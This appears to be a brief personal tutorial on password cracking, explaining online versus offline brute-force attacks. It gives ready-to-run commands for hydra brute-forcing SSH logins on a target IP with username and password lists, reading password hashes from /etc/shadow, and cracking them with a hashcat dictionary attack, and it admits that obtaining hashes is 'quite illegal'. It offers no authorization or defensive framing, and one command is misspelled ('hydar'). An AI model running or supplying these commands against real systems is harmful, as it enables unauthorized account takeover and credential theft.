Every method is a brute-force attack, but passwords can be tried in different smart ways, here we can use hydra
and hashcat
.
sudo apt install hydra
sudo apt install hashcat
Online method is a way to hack the password by trial and error with their login page. This is easily blocked by firewall with too many unsuccessful attempts.
Offline requires the hacker to find the password hash beforehand. And crack the password by knowing which hash table it is (whether it is from windows 10, unix, shasum, md5, etc.). Methods to get hash are quite illegal suggested in the link.
sudo hydra -L usernames.txt -P pwds.txt ip ssh # L for list of users, P for list of passwords
sudo hydar -l "username" -p "pwd" ip ssh # l for one user, p for one password
sudo cat /etc/shadow | grep username # it should be shown in between 1st : and 2nd :
sudo hashcat -a 0 -m 1800 -o cc.txt hh2.txt pp2.txt --potfile-path ./pot.pot
# a: attack mode , m: hash type, o: output
sudo cat cc.txt # only sudo vim sudo cat can show
If it has matches, it outputs cc.txt file. You need to reset the matches by deleting pot file.